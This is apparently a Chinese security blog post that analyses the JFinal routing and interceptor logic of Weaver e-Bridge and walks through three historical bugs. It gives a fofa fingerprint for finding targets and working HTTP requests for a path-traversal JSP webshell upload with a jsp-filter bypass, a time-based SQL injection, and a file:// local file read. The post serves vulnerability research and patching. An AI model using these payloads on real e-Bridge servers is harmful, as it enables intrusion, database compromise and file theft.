从泛微云桥e-Bridge中看jfinal相关问题

fofa指纹

app="泛微-云桥e-Bridge"

补丁地址:https://wx.weaver.com.cn/download?from=upgrade&require=we

框架分析

云桥用tomcat部署,查看其web.xml。发现用了jfinal。

	<filter>
		<filter-name>jfinal</filter-name>
		<filter-class>com.jfinal.core.JFinalFilter</filter-class>
		<init-param>
			<param-name>configClass</param-name>
			<param-value>weaver.weixin.core.WxJFinalConfig</param-value>
		</init-param>
	</filter>

	<filter-mapping>
		<filter-name>jfinal</filter-name>
		<url-pattern>/*</url-pattern>
	</filter-mapping>

JFinal框架特点

JFinal 是基于Java语言的WEB + ORM 框架,基于JFinal的web项目都需要创建一个继承自JFinalConfig类的子类,该类用于对整个web项目进行配置,该子类需要实现六个抽象方法,如下。

public class xxConfig extends JFinalConfig {
    public void configConstant(Constants me) {} // 用来配置JFinal常量值
    public void configRoute(Routes me) {} // 用来配置访问路由
    public void configEngine(Engine me) {} // 用来配置Template Engine
    public void configPlugin(Plugins me) {} // 用来配置JFinal的Plugin
    public void configInterceptor(Interceptors me) {} // 用来配置全局拦截器
    public void configHandler(Handlers me) {} // 配置JFinal的Handler处理器
}

泛微云桥中的类即为WxJFinalConfig。抽象方法实现如下。

类的根路由

关注一下configRoute路由的配置。跟进ControllerPlugin。路由的逻辑是扫描所有BaseController实现类->获取类注解->获取类注解controllerKey()中的值,提取该值作为类的根路由。

方法处理

看一下拦截器GlobalInterceptor。

 JFinal是用如下方式来定义方法路由的。ai.getActionKey()获取的就是方法的路由。

@ActionKey("/wxclient/app/recruit/resume/sendVCode")
public void sendVCode() {...}

那么代码逻辑中定义的规则如下,当满足这三个条件时,获取方法上的@ClearInterceptor注解。

1. ai.getActionKey() 不等于/  
2. ai.getActionKey() 不等于/login 
3. ai.getActionKey() 不以/sqlup 或 /wxapi/erropage开头

如果获取方法上的@ClearInterceptor注解不存在,就检查类上是否存在@ClearInterceptor注解,一单找到@ClearInterceptor注解,获取注解中定义的拦截器并实例化,如果实例化是GlobalInterceptor实例,直接调用方法,并跳过其他拦截器。

另外,如果方法路由不等于/file/fileNoLogin、/wxapi、/wxjsapi、/wxclient,会进行登录校验。如果是这四个路由下的方法则可以直接调用。

路由示例

从历史漏洞中挑两个路由结合上面的分析,看一下具体内容。ResumeController,类路由通过@Controller(controllerKey=xx)定义,方法路由通过@ActionKey定义

[划重点] controllerKey用于指定整个控制器的基础路径,在@ActionKey明确指定路径的情况下,会覆盖controllerKey的值。所以这里想要访问sendVCode()方法,访问的路由仅是@ActionKey的值。如果没有@ActionKey,则使用controllerKey和方法名构建路由。

TasteController,没有@ActionKey,就使用controllerKey和方法名,即/taste/index。

历史漏洞

漏洞名称漏洞路由

/addResume 文件上传漏洞

/wxclient/app/recruit/resume/addResume
/taste/addTaste sql注入漏洞/taste/addTaste?company=1&userName=1&openid=1&source=1&mobile=sql
/saveYZJFile 文件读取漏洞/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///C://windows/win.ini&fileExt=txt

addResume 文件上传漏洞

addResume方法中使用了@ActionKey注解,根据前面的路由分析,这里会覆盖掉controllerKey的值,那么此处路由即为@ActionKey的值/wxclient/app/recruit/resume/addResume。

跟进getWxBaseFile方法。传入的filePath和fileEncoding都为null。第一行的isBlank方法首先就判断了filePath是否为null,如果是的话,会生成一个随机路径。

随机路径生成代码如下。在云桥的WebRoot根目录下,例如C:\ebridge\tomcat\webapps\ROOT,创建文件夹,文件夹路径为/upload/{yyyyMM}/X/,{yyyyMM}是年份和月份,X是26个大写字母中的一个。生成的这个随机路径就是文件的存储路径。

然后向这个路径上传文件,发现txt文件可以上传,但是jsp文件传不上去。请求如下

POST /wxclient/app/recruit/resume/addResume?fileElementId=aaa HTTP/1.1
Host: ip
Content-Length: 420
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybIIzCEGCOzSjUJu7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundarybIIzCEGCOzSjUJu7
Content-Disposition: form-data; name="file"; filename="../aaa.jsp"
Content-Type: text/plain

test
------WebKitFormBoundarybIIzCEGCOzSjUJu7--

Jfinal文件上传机制

这里就引出了jfinal的一些特点。1. 不允许上传jsp文件 2. 不允许直接访问jsp文件。

上图中的代码getFile,跟进后就是jfinal的代码。

new MultipartRequest实际调用的方法如下。

在上传时调用isSafeFile进行判断,如果是.jsp结尾,就把文件删了。那么此时有个选择就是上传.jspx文件。Ps:此版本云桥用的jfinal版本是1.9。

还有个选择是同时传入两个文件。

POST /wxclient/app/recruit/resume/addResume HTTP/1.1
Host: ip
Content-Length: 710
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybIIzCEGCOzSjUJu7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundarybIIzCEGCOzSjUJu7
Content-Disposition: form-data; name="file"; filename="../shell.jsp"
Content-Type: text/plain

<%...%>
------WebKitFormBoundarybIIzCEGCOzSjUJu7--
Content-Disposition: form-data; name="file"; filename="../shell.txt"
Content-Type: text/plain

test
------WebKitFormBoundarybIIzCEGCOzSjUJu7--

然后发现成功上传,但是在页面中访问/upload/202407/X/shell.jsp发现,无法访问,会报错误代码-15。大概猜测对jsp也是禁止访问的,因为搜索整个云桥发现基本没有jsp文件。尝试用编码、分号等方式访问,发现编码可以。

addTaste sql注入

漏洞定位weaver/weixin/taste/controller/TasteController类的

跟进saveTaste,拼接sql。

POC

GET /taste/addTaste?company=1&userName=1&openid=1&source=1&mobile=1%27%20AND%20(SELECT%208094%20FROM%20(SELECT(SLEEP(9-(IF(18015%3e3469,0,4)))))mKjk)%20OR%20%27KQZm%27=%27REcX HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: */*
Cookie: EBRIDGE_JSESSIONID=CAE1276AE2279FD98B96C54DE624CD18; sl-session=BmCjG8ZweGWzoSGpQ1QgQg==; EBRIDGE_JSESSIONID=21D2D790531AD7941D060B411FABDC10
Accept-Encoding: gzip
SL-CE-SUID: 25

 saveYZJFile 文件读取

POC

/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///C://windows/win.ini&fileExt=txt

响应中有个id字段,将id值带入到如下url中访问,即可读取文件内容

/file/fileNoLogin/{id}

手里的版本已经没有这个漏洞了。

  • 20
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值